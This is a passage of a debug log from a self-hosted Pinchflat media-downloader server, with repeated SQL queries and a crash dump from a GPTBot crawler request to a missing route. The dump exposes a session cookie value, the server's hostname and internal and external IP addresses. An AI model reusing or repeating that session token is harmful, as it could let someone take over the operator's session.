t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6494] 16:59:53.166 [debug] QUERY OK source="sources" db=0.1ms idle=1006.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:59:53.166 [debug] QUERY OK source="settings" db=0.0ms idle=1006.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:53.167 [debug] QUERY OK source="settings" db=0.1ms idle=594.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:53.167 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:53.167 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:53.168 [info] Sent 200 in 2ms 16:59:54.006 [info] GET /sources/2/media/12827/force_download 16:59:54.007 [debug] QUERY OK source="settings" db=0.1ms idle=840.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:54.007 [debug] QUERY OK source="settings" db=0.0ms idle=840.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:54.007 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:59:54.007 [error] #PID<0.11340.0> running PinchflatWeb.Endpoint (connection #PID<0.11339.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/media/12827/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/12827/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11339.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/12827/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45678}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY0h4TS1NajhCVllnc1VLTkVWOWdvamIy.wTmzTZCG2v2lvATyGjJnXAexVdBsjGHdCLc0iZbBMds", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/12827?prevent_download=true", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY0h4TS1NajhCVllnc1VLTkVWOWdvamIy.wTmzTZCG2v2lvATyGjJnXAexVdBsjGHdCLc0iZbBMds" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.11340.0>, params: %{}, path_info: ["sources", "2", "media", "12827", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY0h4TS1NajhCVllnc1VLTkVWOWdvamIy.wTmzTZCG2v2lvATyGjJnXAexVdBsjGHdCLc0iZbBMds" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY0h4TS1NajhCVllnc1VLTkVWOWdvamIy.wTmzTZCG2v2lvATyGjJnXAexVdBsjGHdCLc0iZbBMds"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2/media/12827?prevent_download=true"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/media/12827/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVIXY_3TwlAtDAAAORD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11339.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/12827/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45678}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY0h4TS1NajhCVllnc1VLTkVWOWdvamIy.wTmzTZCG2v2lvATyGjJnXAexVdBsjGHdCLc0iZbBMds", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/12827?prevent_download=true", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/12827/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11339.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/12827/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45678}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY0h4TS1NajhCVllnc1VLTkVWOWdvamIy.wTmzTZCG2v2lvATyGjJnXAexVdBsjGHdCLc0iZbBMds", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/12827?prevent_download=true", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", (truncated) 16:59:54.814 [info] GET /sources/2/media/6123 16:59:54.814 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6123", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 16:59:54.814 [debug] QUERY OK source="media_items" db=0.1ms idle=1646.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6123] 16:59:54.814 [debug] QUERY OK source="tasks" db=0.1ms idle=1241.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6123] 16:59:54.815 [debug] QUERY OK source="sources" db=0.1ms idle=807.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:59:54.815 [debug] QUERY OK source="settings" db=0.1ms idle=807.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:54.815 [debug] QUERY OK source="settings" db=0.0ms idle=241.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:54.815 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:54.815 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:54.816 [info] Sent 200 in 2ms 16:59:57.117 [info] GET /sources/2/media/6111 16:59:57.117 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6111", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 16:59:57.117 [debug] QUERY OK source="media_items" db=0.2ms idle=1123.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6111] 16:59:57.118 [debug] QUERY OK source="tasks" db=0.0ms idle=1124.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6111] 16:59:57.118 [debug] QUERY OK source="sources" db=0.1ms idle=1124.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:59:57.118 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=1124.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [369] 16:59:57.118 [debug] QUERY OK source="settings" db=0.0ms idle=541.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:57.119 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:57.119 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:57.119 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:57.120 [info] Sent 200 in 3ms 16:59:57.224 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:59.300 [info] GET /media/47e5e455-711f-4196-8550-e3661a8637ba/stream 16:59:59.300 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "47e5e455-711f-4196-8550-e3661a8637ba", "v" => "1784910080"} Pipelines: [:maybe_basic_auth] 16:59:59.300 [debug] QUERY OK source="media_items" db=0.3ms idle=721.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["47e5e455-711f-4196-8550-e3661a8637ba"] 16:59:59.300 [debug] Invalid range request for media item: 47e5e455-711f-4196-8550-e3661a8637ba - serving full file 16:59:59.300 [info] Sent 200 in 685µs 17:00:00.765 [info] {"source":"oban","duration":145,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:00:24.593 [info] GET /sources/new 17:00:24.593 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "1"} Pipelines: [:browser] 17:00:24.593 [debug] QUERY OK source="sources" db=0.1ms idle=1599.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:00:24.593 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1599.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 17:00:24.593 [debug] QUERY OK source="settings" db=0.0ms idle=1.6e3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:24.594 [debug] QUERY OK source="settings" db=0.0ms idle=989.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:24.594 [debug] QUERY OK source="settings" db=0.0ms idle=600.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:24.594 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:24.594 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:24.595 [info] Sent 200 in 2ms 17:00:26.276 [info] GET /sources/new 17:00:26.276 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "3"} Pipelines: [:browser] 17:00:26.276 [debug] QUERY OK source="sources" db=0.1ms idle=670.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:00:26.276 [debug] QUERY OK source="media_profiles" db=0.0ms idle=283.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 17:00:26.277 [debug] QUERY OK source="settings" db=0.0ms idle=283.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:26.277 [debug] QUERY OK source="settings" db=0.0ms idle=283.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:26.277 [debug] QUERY OK source="settings" db=0.0ms idle=283.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:26.277 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:26.277 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:26.278 [info] Sent 200 in 2ms 17:00:27.225 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:27.775 [info] GET /sources/new 17:00:27.775 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "2"} Pipelines: [:browser] 17:00:27.775 [debug] QUERY OK source="sources" db=0.2ms idle=1497.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:00:27.776 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1498.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 17:00:27.776 [debug] QUERY OK source="settings" db=0.0ms idle=1168.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:27.776 [debug] QUERY OK source="settings" db=0.0ms idle=551.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 